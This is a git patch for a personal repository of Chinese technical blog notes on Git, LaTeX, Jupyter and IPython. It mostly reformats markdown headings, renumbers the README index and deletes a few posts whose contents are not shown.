From f134ac8ad64a096d833cf37ebee4e4ef1cf50e98 Mon Sep 17 00:00:00 2001
From: zcy <290198252@qq.com>
Date: Wed, 3 Jul 2024 17:49:47 +0800
Subject: [PATCH] ee
---
.gitignore | 1 +
.vscode/launch.json | 15 +
blog/ds19991999/README.md | 92 +-
blog/ds19991999/原创-- 01-Git基本概念.md | 30 +-
blog/ds19991999/原创-- 01-Latex简介.md | 10 +-
.../原创-- 01-第一次使用Jupyter.md | 70 +-
.../原创-- 02-Ipython Magic魔术.md | 28 +-
.../原创-- 02-Latex数学公式编辑.md | 1244 ++++-----
blog/ds19991999/原创-- 02-图解Git笔记.md | 20 +-
.../原创-- 03-廖雪峰Git教程笔记.md | 60 +-
.../原创-- 03-用Jupyter编写数学公式.md | 2214 ++++++++---------
blog/ds19991999/原创-- 04-Git命令总结.md | 6 +-
...创-- 05-使用GitBook打造自己的出版平台.md | 16 +-
.../原创-- Byte of Python3 总结.md | 24 +-
blog/ds19991999/原创-- C++异常处理.md | 14 +-
blog/ds19991999/原创-- GitHub短网址服务.md | 4 +-
.../原创-- Git提交本地项目或文件.md | 6 +-
blog/ds19991999/原创-- HTML语言笔记(一).md | 14 +-
blog/ds19991999/原创-- HTML语言笔记(二).md | 36 +-
...创-- Jekyll 博客 Netlify CMS 后台部署.md | 47 +-
.../原创-- Jekyll博客Next主题超深度配置.md | 14 +-
blog/ds19991999/原创-- Jupyterlab安装.md | 8 +-
blog/ds19991999/原创-- KMP算法详解.md | 14 +-
.../原创-- Let's Encrypt 泛域名证书申请.md | 12 +-
blog/ds19991999/原创-- Linux编译程序.md | 6 +-
blog/ds19991999/原创-- Linux面试题.md | 6 +-
.../原创-- Liunx常见任务和基本工具(上篇).md | 40 +-
.../原创-- Liunx常见任务和基本工具(下篇).md | 30 +-
.../原创-- Numpy学习(一)——Numpy 简介.md | 16 +-
.../原创-- Numpy学习(三)—— 数组及其索引.md | 2 +-
...原创-- Numpy学习(二)——Matplotlib基础.md | 24 +-
.../原创-- Python Tutorial 2.7.14总结.md | 54 +-
.../原创-- Python2和Python3的区别.md | 30 +-
.../原创-- Python3核心编程之正则表达式.md | 20 +-
blog/ds19991999/原创-- Python书单.md | 20 +-
.../原创-- Python基础教程总结(上).md | 18 +-
.../原创-- Python基础教程总结(下).md | 6 +-
...-- Python数据结构(一)——Python数据类型.md | 18 +-
...创-- Python数据结构(三)——基本数据结构.md | 46 +-
.../原创-- Python数据结构(二)——算法分析.md | 246 +-
...创-- Python数据结构(五)——排序和搜索.md | 10 +-
.../原创-- Python数据结构(四)——递归.md | 18 +-
.../原创-- Python正则表达式(一).md | 40 +-
.../原创-- Python正则表达式(二).md | 40 +-
blog/ds19991999/原创-- Rclone笔记.md | 14 +-
.../原创-- Shell流程控制-case 分支.md | 16 +-
.../原创-- Shell流程控制-if 分支结构.md | 22 +-
.../原创-- Shell流程控制-while-until 循环.md | 18 +-
blog/ds19991999/原创-- Ubuntu使用日常.md | 611 +----
blog/ds19991999/原创-- Ubuntu终端美化.md | 6 +-
...原创-- Windows上挂载OneDrive为本地硬盘.md | 182 +-
.../ds19991999/原创-- leetcode15-三数之和.md | 64 +-
blog/ds19991999/原创-- shell学习.md | 102 +-
blog/ds19991999/原创-- ✍GitBook高级配置.md | 44 +-
blog/ds19991999/原创-- 专题-排序算法.md | 46 +-
.../原创-- 为Jekyll博客添加小功能.md | 20 +-
blog/ds19991999/原创-- 了解Shell环境.md | 10 +-
blog/ds19991999/原创-- 了解门罗币.md | 176 --
...创-- 云服务器搭建神器JupyterLab(多图).md | 50 +-
.../原创-- 以WebDav方式挂载OneDrive.md | 66 +-
blog/ds19991999/原创-- 八皇后问题.md | 10 +-
...创-- 利用GitHub_Pages搭建简易个人博客.md | 48 +-
.../原创-- 在网站嵌入挖矿JS代码样式.md | 91 -
...创-- 彻底解决Ubuntu联网问题——网速飞起.md | 267 --
blog/ds19991999/原创-- 教你屏蔽CSDN广告.md | 10 +-
...-- 最新Linux下QQ和微信的使用(很方便).md | 22 +-
blog/ds19991999/原创-- 第一个Shell脚本.md | 8 +-
blog/ds19991999/原创-- 第一章 数据库和SQL.md | 18 +-
blog/ds19991999/原创-- 第一章 绪论.md | 8 +-
blog/ds19991999/原创-- 第七章 图.md | 34 +-
blog/ds19991999/原创-- 第三章 栈和队列.md | 16 +-
blog/ds19991999/原创-- 第九章 查找.md | 36 +-
blog/ds19991999/原创-- 第二章 线性表.md | 14 +-
.../原创-- 第五章 数组、矩阵与广义表.md | 10 +-
blog/ds19991999/原创-- 第六章 树与二叉树.md | 30 +-
blog/ds19991999/原创-- 第四章 串.md | 14 +-
blog/ds19991999/原创-- 算法图解笔记.md | 162 +-
.../ds19991999/原创-- 统计学习方法_第一章.md | 20 +-
...创-- 解决AppImage 程序没有正确显示图标.md | 4 +-
...创-- 解决ubuntu系统的terminal无法获得锁.md | 4 +-
...机update的时候出现Waiting for headers和404错误.md | 36 -
blog/ds19991999/原创-- 资源分享.md | 20 +-
.../原创-- 转存百度盘到gd-od的解决方案.md | 8 +-
blog/ds19991999/转载-- Best Windows App.md | 12 +-
blog/ds19991999/转载-- PEP 8风格指南.md | 10 +-
blog/ds19991999/转载-- TCP-IP协议.md | 30 +-
blog/ds19991999/转载-- 互联网协议入门.md | 38 +-
blog/ds19991999/转载-- 关于Python的面试题.md | 236 +-
88 files changed, 2948 insertions(+), 4404 deletions(-)
create mode 100644 .vscode/launch.json
delete mode 100644 blog/ds19991999/原创-- 了解门罗币.md
delete mode 100644 blog/ds19991999/原创-- 在网站嵌入挖矿JS代码样式.md
delete mode 100644 blog/ds19991999/原创-- 彻底解决Ubuntu联网问题——网速飞起.md
delete mode 100644 blog/ds19991999/原创-- 解决套路云Debian新机update的时候出现Waiting for headers和404错误.md
diff --git a/.gitignore b/.gitignore
index be10d8b..1382e88 100644
--- a/.gitignore
+++ b/.gitignore
@@ -19,6 +19,7 @@ lib64/
parts/
sdist/
var/
+blog/
wheels/
*.egg-info/
.installed.cfg
diff --git a/.vscode/launch.json b/.vscode/launch.json
new file mode 100644
index 0000000..05c523d
--- /dev/null
+++ b/.vscode/launch.json
@@ -0,0 +1,15 @@
+{
+ // 使用 IntelliSense 了解相关属性。
+ // 悬停以查看现有属性的描述。
+ // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
+ "version": "0.2.0",
+ "configurations": [
+ {
+ "name": "Python 调试程序: 当前文件",
+ "type": "debugpy",
+ "request": "launch",
+ "program": "${file}",
+ "console": "integratedTerminal"
+ }
+ ]
+}
\ No newline at end of file
diff --git a/blog/ds19991999/README.md b/blog/ds19991999/README.md
index 429bbd3..1cd1c55 100644
--- a/blog/ds19991999/README.md
+++ b/blog/ds19991999/README.md
@@ -107,95 +107,87 @@
: 关于Python的面试题](https://blog.csdn.net/ds19991999/article/details/81807265)
54. [原创
: 教你屏蔽CSDN广告](https://blog.csdn.net/ds19991999/article/details/81843055)
-55. [原创
-: 了解门罗币](https://blog.csdn.net/ds19991999/article/details/81905100)
-56. [转载
+55. [转载
: 互联网协议入门](https://blog.csdn.net/ds19991999/article/details/81915914)
-57. [转载
+56. [转载
: TCP/IP协议](https://blog.csdn.net/ds19991999/article/details/81915958)
-58. [原创
+57. [原创
: ✍GitBook高级配置](https://blog.csdn.net/ds19991999/article/details/82055366)
-59. [原创
+58. [原创
: GitHub短网址服务](https://blog.csdn.net/ds19991999/article/details/82084387)
-60. [原创
+59. [原创
: Ubuntu安装pip](https://blog.csdn.net/ds19991999/article/details/82714729)
-61. [原创
+60. [原创
: 解决AppImage 程序没有正确显示图标](https://blog.csdn.net/ds19991999/article/details/82719521)
-62. [原创
+61. [原创
: 解决ubuntu系统的terminal无法获得锁](https://blog.csdn.net/ds19991999/article/details/82729996)
-63. [原创
+62. [原创
: shell学习](https://blog.csdn.net/ds19991999/article/details/82773402)
-64. [原创
+63. [原创
: Liunx常见任务和基本工具(上篇)](https://blog.csdn.net/ds19991999/article/details/82780391)
-65. [原创
+64. [原创
: Liunx常见任务和基本工具(下篇)](https://blog.csdn.net/ds19991999/article/details/82796638)
-66. [原创
+65. [原创
: Linux编译程序](https://blog.csdn.net/ds19991999/article/details/82803189)
-67. [原创
+66. [原创
: 第一个Shell脚本](https://blog.csdn.net/ds19991999/article/details/82807569)
-68. [原创
+67. [原创
: Shell流程控制:if 分支结构](https://blog.csdn.net/ds19991999/article/details/82813464)
-69. [原创
+68. [原创
: Shell流程控制:while/until 循环](https://blog.csdn.net/ds19991999/article/details/82813480)
-70. [原创
+69. [原创
: Shell流程控制:case 分支](https://blog.csdn.net/ds19991999/article/details/82813492)
-71. [原创
+70. [原创
: 最新Linux下QQ和微信的使用(很方便)](https://blog.csdn.net/ds19991999/article/details/82814524)
-72. [原创
+71. [原创
: aria2简单下载脚本](https://blog.csdn.net/ds19991999/article/details/82855643)
-73. [原创
+72. [原创
: Python2和Python3的区别](https://blog.csdn.net/ds19991999/article/details/83045924)
-74. [原创
+73. [原创
: Byte of Python3 总结](https://blog.csdn.net/ds19991999/article/details/83048480)
-75. [原创
+74. [原创
: Ubuntu终端美化](https://blog.csdn.net/ds19991999/article/details/82851033)
-76. [原创
+75. [原创
: Python Tutorial 2.7.14总结](https://blog.csdn.net/ds19991999/article/details/83052048)
-77. [原创
+76. [原创
: Python基础教程总结(上)](https://blog.csdn.net/ds19991999/article/details/83217617)
-78. [原创
+77. [原创
: 八皇后问题](https://blog.csdn.net/ds19991999/article/details/83218164)
-79. [原创
+78. [原创
: Python基础教程总结(下)](https://blog.csdn.net/ds19991999/article/details/83271371)
-80. [原创
+79. [原创
: 算法图解笔记](https://blog.csdn.net/ds19991999/article/details/83305054)
-81. [原创
+80. [原创
: Linux面试题](https://blog.csdn.net/ds19991999/article/details/83314630)
-82. [原创
+81. [原创
: leetcode15-三数之和](https://blog.csdn.net/ds19991999/article/details/83352817)
-83. [原创
+82. [原创
: 专题:排序算法](https://blog.csdn.net/ds19991999/article/details/83353393)
-84. [转载
+83. [转载
: PEP 8风格指南](https://blog.csdn.net/ds19991999/article/details/83377674)
-85. [原创
+84. [原创
: 第一章 数据库和SQL](https://blog.csdn.net/ds19991999/article/details/83387869)
-86. [原创
-: 在网站嵌入挖矿JS代码样式](https://blog.csdn.net/ds19991999/article/details/83539946)
-87. [原创
+85. [原创
: 云服务器搭建神器JupyterLab(多图)](https://blog.csdn.net/ds19991999/article/details/83663349)
-88. [原创
+86. [原创
: 金庸的武侠世界——小说人物分析](https://blog.csdn.net/ds19991999/article/details/83692070)
-89. [原创
-: 彻底解决Ubuntu联网问题——网速飞起](https://blog.csdn.net/ds19991999/article/details/83715489)
-90. [原创
+87. [原创
: Ubuntu使用日常](https://blog.csdn.net/ds19991999/article/details/83719417)
-91. [原创
+88. [原创
: Windows上挂载OneDrive为本地硬盘](https://blog.csdn.net/ds19991999/article/details/85008885)
-92. [原创
+89. [原创
: 资源分享](https://blog.csdn.net/ds19991999/article/details/85225611)
-93. [原创
+90. [原创
: CSDN自定义友链侧边栏](https://blog.csdn.net/ds19991999/article/details/86505686)
-94. [原创
+91. [原创
: 以WebDav方式挂载OneDrive](https://blog.csdn.net/ds19991999/article/details/86506042)
-95. [原创
+92. [原创
: 转存百度盘到gd/od的解决方案](https://blog.csdn.net/ds19991999/article/details/87736377)
-96. [转载
+93. [转载
: Office365 PC版修改更新频道](https://blog.csdn.net/ds19991999/article/details/87973325)
-97. [原创
+94. [原创
: Rclone笔记](https://blog.csdn.net/ds19991999/article/details/88370053)
-98. [原创
+95. [原创
: Let's Encrypt 泛域名证书申请](https://blog.csdn.net/ds19991999/article/details/88553810)
-99. [原创
+96. [原创
: Jekyll 博客 Netlify CMS 后台部署](https://blog.csdn.net/ds19991999/article/details/88651187)
-100. [原创
-: 解决套路云Debian新机update的时候出现Waiting for headers和404错误](https://blog.csdn.net/ds19991999/article/details/88659452)
diff --git a/blog/ds19991999/原创-- 01-Git基本概念.md b/blog/ds19991999/原创-- 01-Git基本概念.md
index 5f20a73..a8e64a9 100644
--- a/blog/ds19991999/原创-- 01-Git基本概念.md
+++ b/blog/ds19991999/原创-- 01-Git基本概念.md
@@ -3,15 +3,15 @@
# 01-Git基本概念
-# Git基本概念
+## Git基本概念
>
参考:[CyC2018-Git](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/Git.md)
-## Git常用命令步骤
+### Git常用命令步骤
-### 第一次提交
+#### 第一次提交
```
//初始化本地仓库
@@ -51,7 +51,7 @@ git pull origin master --allow-unrelated-histories
git push -u origin master -f
```
-### 之后的本地提交
+#### 之后的本地提交
```
git add .
@@ -64,17 +64,17 @@ git pull origin master --allow-unrelated-histories
git push -u origin master -f
```
-## 集中式和分布式
+### 集中式和分布式
-## Git 的中心服务器
+### Git 的中心服务器
-## 工作流
+### 工作流
可以跳过暂存区域直接从分支中取出修改或者直接提交修改到分支中 :
-## 分支实现
+### 分支实现
-## 冲突
+### 冲突
```
<<<<<<< HEAD
@@ -84,20 +84,20 @@ Creating a new branch is quick AND simple.
>>>>>>> feature1
```
-## Fast forward
+### Fast forward
```
git merge --no-ff -m "merge with no-ff" dev
```
-## 分支管理策略
+### 分支管理策略
-## 储藏(Stashing)
+### 储藏(Stashing)
-## SSH 传输设置
+### SSH 传输设置
-## .gitignore 文件
+### .gitignore 文件
忽略以下文件:
-## 参考资料
+### 参考资料
diff --git a/blog/ds19991999/原创-- 01-Latex简介.md b/blog/ds19991999/原创-- 01-Latex简介.md
index 71bf07d..2c5f757 100644
--- a/blog/ds19991999/原创-- 01-Latex简介.md
+++ b/blog/ds19991999/原创-- 01-Latex简介.md
@@ -3,17 +3,17 @@
# 01-Latex简介
-# LaTex简介
+## LaTex简介
-# Contents
+## Contents
-## 优雅的LaTex
+### 优雅的LaTex
有很多 Geeks 或者 LaTeX’s Fanatical Fans 过分地强调了 LaTeX 的一些并非重点的特性,以至于很多初学者会觉得 LaTeX 很神秘很复杂,从而引发了初学者的畏难情绪甚至是负面情绪。尽管这些 Fans 说得并没有错,我是说在事实上,但是他们的表达方式和内心态度却间接阻碍了 LaTeX 的发展,我想这也是和他们的初衷相悖的。
*** LaTex—— 这个优雅,但有着自己高傲,却绝不复杂甚至神秘的东西。***
-## Hello World!
+### Hello World!
输入:
@@ -37,7 +37,7 @@ Hello, world!
`\begin{document}`与 `\documentclass{article}`之间的部分被称为导言区。导言区中的控制序列,通常会影响到整个输出文档。比如,我们通常在导言区设置页面大小、页眉页脚样式、章节标题样式等等。
-## 中英混排
+### 中英混排
CTeX 宏集的优势在于,它适用于多种编译方式;在内部处理好了中文和中文版式的支持,隐藏了这些细节;并且,提供了不少中文用户需要的功能接口。
diff --git a/blog/ds19991999/原创-- 01-第一次使用Jupyter.md b/blog/ds19991999/原创-- 01-第一次使用Jupyter.md
index d7c1174..71440a9 100644
--- a/blog/ds19991999/原创-- 01-第一次使用Jupyter.md
+++ b/blog/ds19991999/原创-- 01-第一次使用Jupyter.md
@@ -3,21 +3,21 @@
# 01-第一次使用Jupyter
-# 第一次使用Jupyter
+## 第一次使用Jupyter
具体见个人Python图书馆:[https://ds-ebooks.github.io](https://ds-ebooks.github.io)
-# Contents
+## Contents
-## 一、更改Jupyter notebook的工作空间
+### 一、更改Jupyter notebook的工作空间
[链接跳转测试](#七、Jupyter中的Markdown)
-### 1.直接在工作目录打开
+#### 1.直接在工作目录打开
-### 2.通过快捷方式属性修改
+#### 2.通过快捷方式属性修改
-### 3.修改config文件
+#### 3.修改config文件
```
# The directory to use for notebooks and kernels.
@@ -26,9 +26,9 @@ c.NotebookApp.notebook_dir = u'D:\Jupyter'
所以,最后我选择第一种方式最直接。
-## 二、常用命令
+### 二、常用命令
-### 1.误删了jupyter notebook中的代码
+#### 1.误删了jupyter notebook中的代码
```
for line in locals()['In']:
@@ -39,7 +39,7 @@ for line in locals()['In']:
history
```
-### 2.jupyter魔法
+#### 2.jupyter魔法
```
# 当前目录
@@ -78,15 +78,15 @@ u'D:\\Python\\Scripts\\notebook'
%autosave 3
```
-## 三、Jupyter的各种快捷键
+### 三、Jupyter的各种快捷键
-## 四、Jupyter Notebook如何导入代码
+### 四、Jupyter Notebook如何导入代码
>
即导入代码到jupyter notebook的cell中
-### 1.将本地的.py文件load到jupyter的一个cell中
+#### 1.将本地的.py文件load到jupyter的一个cell中
**问题背景**:有一个test.py文件,需要将其载入到jupyter的一个cell中
test.py内容如下:
@@ -103,11 +103,11 @@ print "HellO World!"
Shift Enter运行后,%load test.py被自动加入了注释符号#,test.py中的所有代码都被load到了当前的cell中.
-### 2.从网络load代码到jupyter
+#### 2.从网络load代码到jupyter
`%load https://matplotlib.org/examples/color/color_cycle_demo.html`
-## 五、Jupyter运行python文件
+### 五、Jupyter运行python文件
```
%run test.py
@@ -118,9 +118,9 @@ HellO World!
```
-## 六、Jupyter一些其他琐碎用法
+### 六、Jupyter一些其他琐碎用法
-### 1.jupyter的cell可以作为unix command使用
+#### 1.jupyter的cell可以作为unix command使用
```
# 查看python版本:
@@ -142,11 +142,11 @@ HellO World!
```
-### 2.Magic functions用法
+#### 2.Magic functions用法
待深究:[The cell magic in Ipython](http://nbviewer.jupyter.org/github/ipython/ipython/blob/1.x/examples/notebooks/Cell%20Magics.ipynb#The-cell-magics-in-IPython)
-### 3.获取current working directory
+#### 3.获取current working directory
```
current_path = %pwd
@@ -158,16 +158,16 @@ D:\Python\Scripts\notebook
```
-### 4.使用Matplotlib绘图
+#### 4.使用Matplotlib绘图
```
# 有时是弹不出图像框的,此时,可以在开头加入:
%matplotlib inline
```
-## 七、Jupyter中的Markdown
+### 七、Jupyter中的Markdown
-### 1.链接跳转
+#### 1.链接跳转
```
## 一、更改Jupyter notebook的工作空间
@@ -177,14 +177,14 @@ D:\Python\Scripts\notebook
## 七、Jupyter中的Markdown
```
-### 2.添加目录功能
+#### 2.添加目录功能
```
$ pip2 install jupyter_nbextensions_configurator
$ pip2 install jupyter_contrib_nbextensions
```
-### 3.在Jupyter中打开md文件
+#### 3.在Jupyter中打开md文件
让`jupyter notebook` 生成md这个大家都会,可是在github当中有很多很好的md文件,如果不能在`jupyter notebook`当中打开体验,实在是太让人难过了。
@@ -196,7 +196,7 @@ pip install notedown
c.NotebookApp.contents_manager_class = ‘notedown.NotedownContentsManager’
```
-## 八、主题配置
+### 八、主题配置
```
pip install --upgrade jupyterthemes
@@ -207,9 +207,9 @@ jt -r //恢复默认主题
更详细配置参考:[jupyter-themes](https://github.com/dunovank/jupyter-themes)
-## 九、Ubuntu上面存在权限问题
+### 九、Ubuntu上面存在权限问题
-### 修改权限
+#### 修改权限
```
//问题1:jupyter无法访问python
@@ -227,19 +227,19 @@ $ sudo chown 用户 目录或文件名
$ sudo chgrp 组 目录或文件名
```
-### 查看token
+#### 查看token
```
jupyter-notebook list
```
-## 十、Welcome to MkDocs
+### 十、Welcome to MkDocs
For full documentation visit [mkdocs.org](http://mkdocs.org).
-### Commands
+#### Commands
-### Project layout
+#### Project layout
```
mkdocs.yml # The configuration file.
@@ -249,7 +249,7 @@ docs/
```
-## 十一、Git基本命令
+### 十一、Git基本命令
```
//建立本地仓库
@@ -276,9 +276,9 @@ $ git pull origin master --allow-unrelated-histories
$ git push -u origin master -f
```
-## 补充
+### 补充
-### 指定图表格式
+#### 指定图表格式
`Jupyter Notebook` 用 `Matplotlib` 画出来那一坨糊糊的东西会不会跟我一样浑身难受,在画图表的时候加上最后一行就行了,指定他为`'svg'`格式:
@@ -289,7 +289,7 @@ import matplotlib.pyplot as plt
%config InlineBackend.figure_format = 'svg'
```
-### 导出md格式去掉代码
+#### 导出md格式去掉代码
假如你的`jupyter notebook`是导出一个报告给业务人员看的,他们不想看到那些密密麻麻的代码,只想留下`markdown`和图表,在`jupyter notebook`加入下面这段代码就好:
@@ -299,7 +299,7 @@ di.display_html('<script>jQuery(function(){if (jQuery("body.notebook_app")
</script>', raw=True)
```
-### matplotlib显示中文
+#### matplotlib显示中文
配置文件中加入:
diff --git a/blog/ds19991999/原创-- 02-Ipython Magic魔术.md b/blog/ds19991999/原创-- 02-Ipython Magic魔术.md
index abf1b30..f22c044 100644
--- a/blog/ds19991999/原创-- 02-Ipython Magic魔术.md
+++ b/blog/ds19991999/原创-- 02-Ipython Magic魔术.md
@@ -3,11 +3,11 @@
# 02-Ipython Magic魔术
-# IPython Magic 魔术
+## IPython Magic 魔术
具体见个人Python图书馆:[https://ds-ebooks.github.io](https://ds-ebooks.github.io)
-## 简介
+### 简介
两种`magic`命令:
* `Line magics`:`%`,只接受该行的参数
* `Cell magics`: `%%`,只能用在`cell`首行,`%%`接收的`magic`参数包括整个`cell`,并且每个单元格只能用一个`cell`
@@ -27,7 +27,7 @@ Automagic is ON, % prefix IS NOT needed for line magics.
```
-## 简单`Magic`
+### 简单`Magic`
```
%matplotlib inline
@@ -45,7 +45,7 @@ import matplotlib.pyplot as plt
```
-### 计算整个`cell` 代码运行时间
+#### 计算整个`cell` 代码运行时间
```
%%timeit a = np.random.rand(100, 100)
@@ -57,7 +57,7 @@ np.linalg.eigvals(a)
```
-### `%%capture`捕获`cell`输出`stdout/stderr`
+#### `%%capture`捕获`cell`输出`stdout/stderr`
```
%%capture capt
@@ -88,7 +88,7 @@ and stderr
```
-### `%%capture result`有同样的功能
+#### `%%capture result`有同样的功能
```
%%capture result
@@ -114,7 +114,7 @@ result.show()
```
-### `%%scipy cell magic`
+#### `%%scipy cell magic`
```
%%script python
@@ -150,7 +150,7 @@ hello from /usr/bin/bash
```
-### `--out` `--err`捕获`cell`魔法的输出
+#### `--out` `--err`捕获`cell`魔法的输出
```
%%bash
@@ -192,7 +192,7 @@ data = pl.randn(100)
pl.plot(data);
```
-### 配合 `%config InlineBackend.figure_format="svg"`做图片输出格式的设置
+#### 配合 `%config InlineBackend.figure_format="svg"`做图片输出格式的设置
```
%config InlineBackend.figure_format="svg"
@@ -203,7 +203,7 @@ pl.plot(data);
pl.plot(data);
```
-### 调试代码的模式 `%xmode Plain`和原来的模式`%xmode Verbose`
+#### 调试代码的模式 `%xmode Plain`和原来的模式`%xmode Verbose`
```
def f1(a,b):
@@ -293,11 +293,11 @@ ZeroDivisionError: integer division or modulo by zero
```
-### `%debug`用户调试错误
+#### `%debug`用户调试错误
使用`%debug`会在报错时进去调试模式,在调试模式中我们可以
-### `%timeit`和`%time`
+#### `%timeit`和`%time`
```
%timeit sum(map(lambda x:x**2,range(100)))
@@ -323,7 +323,7 @@ Wall time: 0 ns
```
-### `%%prun/%prun`命令调用`profile`模块,对单元中的代码进行宏观上的性能剖析
+#### `%%prun/%prun`命令调用`profile`模块,对单元中的代码进行宏观上的性能剖析
```
%%prun
@@ -347,6 +347,6 @@ fib(20)
1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects}
```
-## 参考资料
+### 参考资料
[Jupyter攻略](http://blog.hszofficial.site/TutorialForJupyter/)
diff --git a/blog/ds19991999/原创-- 02-Latex数学公式编辑.md b/blog/ds19991999/原创-- 02-Latex数学公式编辑.md
index c5ea660..422fc9f 100644
--- a/blog/ds19991999/原创-- 02-Latex数学公式编辑.md
+++ b/blog/ds19991999/原创-- 02-Latex数学公式编辑.md
@@ -3,15 +3,15 @@
# 02-Latex数学公式编辑
-# 数学公式编辑
+## 数学公式编辑
>
对于Python程序员,需要一些数学公式的编辑,所以对于LaTex的学习只需要掌握数学公式的编辑已经足够,关于文档编排感兴趣可以深究,但感觉没必要.
-# Contents
+## Contents
-## 数学模式
+### 数学模式
```
# `$ ... $` 可以插入行内公式
@@ -27,29 +27,29 @@
```
-
-
+
- .
+ .
+
- .
+ .
+
-
- .
+ .
+
+ ...
+
- ...
-
-
...
编号已经自动显示出来了,不过一般这个环境可以不使用,后面会介绍.
-## 上下标`^` `_`
+### 上下标`^` `_`
```
\[ x_1+x_2=-b/a. \]
@@ -59,81 +59,81 @@ E=mc^2.
```
-
-
+
- x
+ x
+
- 1
+ 1
+
-
- +
-
-
-
- x
+ +
- 2
+
+ x
+
+
+ 2
+
+ =
+
- =
+ −
+
+ b
+
- −
+ /
+
+ a
+
- b
-
-
- /
-
-
- a
-
-
- .
+ .
+
+ x_1+x_2=-b/a.
+
- x_1+x_2=-b/a.
-
-
- x1+x2=−b/a.
```
-
-
+
- a
+ a
+
- b
+ b
+
+ c
+
- c
+ d
+
+ e
+
- d
+ f
+
+ g
+
- e
+ h
+
+ i
+
- f
+ j
+
+ k
+
- g
+ l
+
+ m
+
- h
+ n
+
-
- i
-
-
- j
-
-
- k
-
-
- l
-
-
- m
-
-
- n
-
-
- 123456
+ 123456
+
+ \mathit{abcdefghijklmn123456}
+
- \mathit{abcdefghijklmn123456}
-
-
abcdefghijklmn123456
```
@@ -1106,43 +1106,43 @@ KaTeX parse error: Expected 'EOF', got '\a' at position 7: a\quad\̲a̲
```
-
-
+
- A
+ A
+
- ⋅
+ ⋅
+
-
- x
+ x
+
+ =
+
- =
+ λ
+
+ ⋅
+
- λ
-
-
- ⋅
-
-
- v
+ v
+
+ \boldsymbol{A\cdot x}=\lambda\cdot v
+
- \boldsymbol{A\cdot x}=\lambda\cdot v
-
-
A⋅x=λ⋅v
-## 转义字符’’
+### 转义字符’’
-## 等式对齐
+### 等式对齐
通过 \ 断开两个或多个等式,可实现等式中部对齐,例如:
@@ -1155,118 +1155,118 @@ $$
```
-
-
+
- a
+ a
+
- 1
+ 1
+
-
- =
-
-
-
- b
+ =
- 1
+
+ b
+
+
+ 1
+
-
- +
-
-
-
- c
+ +
- 1
+
+ c
+
+
+ 1
+
+
+
+
+
+ a
+
+
+ 2
+
-
-
-
- a
+ =
- 2
+
+ b
+
+
+ 2
+
-
- =
-
-
-
- b
+ +
- 2
+
+ c
+
+
+ 2
+
-
- +
-
-
-
- c
+ +
- 2
+
+ d
+
+
+ 2
+
+
+
+
+
+ a
+
+
+ 3
+
-
- +
-
-
-
- d
+ =
- 2
+
+ b
+
+
+ 3
+
-
-
-
- a
+ +
- 3
+
+ c
+
+
+ 3
+
-
- =
-
-
-
- b
-
-
- 3
-
-
-
- +
-
-
-
- c
-
-
- 3
-
-
-
a_1=b_1+c_1 \\ a_2=b_2+c_2+d_2 \\ a_3=b_3+c_3
+
-
a1=b1+c1a2=b2+c2+d2a3=b3+c3
-
+ x1+x2=−b/a.
- E
-
- =
-
-
- m
-
-
-
- c
-
-
- 2
+ E
+ =
+
- .
+ m
+
+
+
+ c
+
+
+ 2
+
+
+
+ .
+
+ E=mc^2.
+
- E=mc^2.
-
-
E=mc2.
貌似这个equation环境是全局的…好吧,markdown已经帮我们实现了一切,我们只需要会用就行.
@@ -145,49 +145,49 @@ E=mc^2.
```
-
-
+
- z
-
-
- =
-
-
- r
-
-
- ⋅
-
+ z
- e
+
+ =
+
+
+ r
+
+
+ ⋅
-
- 2
+
+ e
- π
+ 2
+
- i
+ π
+
+
+ i
+
+ .
+
- .
-
-
z = r\cdot e^{2\pi i}.
+
-
z=r⋅e2πi.
-## 根式与分式
+### 根式与分式
根式用 `\sqrt{·}` 来表示,分式用`\frac{·}{·}` 来表示(第一个参数为分子,第二个为分母)
@@ -198,79 +198,79 @@ $\sqrt{x}$, $\frac{1}{2}$.
```
-
-
+
- x
+
+ x
+
+ \sqrt{x}
+
- \sqrt{x}
-
-
x
-,
-
+,
- 1
+ 1
+
- 2
+ 2
+
+ \frac{1}{2}
+
- \frac{1}{2}
-
-
- 21.
-
+ 21.
- x
+
+ x
+
+ ,
+
- ,
-
-
\sqrt{x},
+
-
x
-,
-
+,
- 1
+ 1
+
- 2
+ 2
+
-
- .
+ .
+
+ \frac{1}{2}.
+
- \frac{1}{2}.
-
-
21.
-## 运算符
+### 运算符
```
\[ \pm\; \times \; \div\; \cdot\; \cap\; \cup\;
@@ -278,78 +278,78 @@ $\sqrt{x}$, $\frac{1}{2}$.
```
-
-
+
- ±
+ ±
+
- ,
+ ,
+
+ ×
+
- ×
+ ,
+
+ ÷
+
- ,
+ ,
+
+ ⋅
+
- ÷
+ ,
+
+ ∩
+
- ,
+ ,
+
+ ∪
+
- ⋅
+ ,
+
+ ≥
+
- ,
+ ,
+
+ ≤
+
- ∩
+ ,
+
+ ≠
+
- ,
+ ,
+
+ ≈
+
- ∪
+ ,
+
-
- ,
-
-
- ≥
-
-
- ,
-
-
- ≤
-
-
- ,
-
-
- ≠
-
-
- ,
-
-
- ≈
-
-
- ,
-
-
- ≡
+ ≡
+
+ \pm, \times, \div, \cdot, \cap, \cup,\geq, \leq, \neq, \approx, \equiv
+
- \pm, \times, \div, \cdot, \cap, \cup,\geq, \leq, \neq, \approx, \equiv
-
-
±,×,÷,⋅,∩,∪,≥,≤,̸=,≈,≡
```
@@ -357,43 +357,43 @@ $\sqrt{x}$, $\frac{1}{2}$.
```
-
-
+
- ∑
+ ∑
+
- ,
+ ,
+
+
+ ,
+
+ ∏
+
- ,
+ ,
+
+ lim
+
- ∏
+
+
+ ,
+
- ,
-
-
- lim
-
-
-
-
-
- ,
-
-
- ∫
+ ∫
+
+ \sum, \quad, \prod, \lim, \int
+
- \sum, \quad, \prod, \lim, \int
-
-
∑,,∏,lim,∫
```
@@ -403,128 +403,128 @@ $ \sum_{i=1}^n i\quad\prod_{i=1}^n $ 和 $ \sum\limits _{i=1}^n i\quad\prod\li
```
-$ \sum_{i=1}^n i\quad\prod_{i=1}^n $ 和 $ \sum\limits _{i=1}^n i\quad\prod\limits _{i=1}^n $
-
+$ \sum_{i=1}^n i\quad\prod_{i=1}^n $ 和 $ \sum\limits _{i=1}^n i\quad\prod\limits _{i=1}^n $
- lim
+
+ lim
+
+
+
+
+
+
+ x
+
+
+ →
+
+
+ 0
+
+
-
+
+ x
+
+
+ 2
+
+
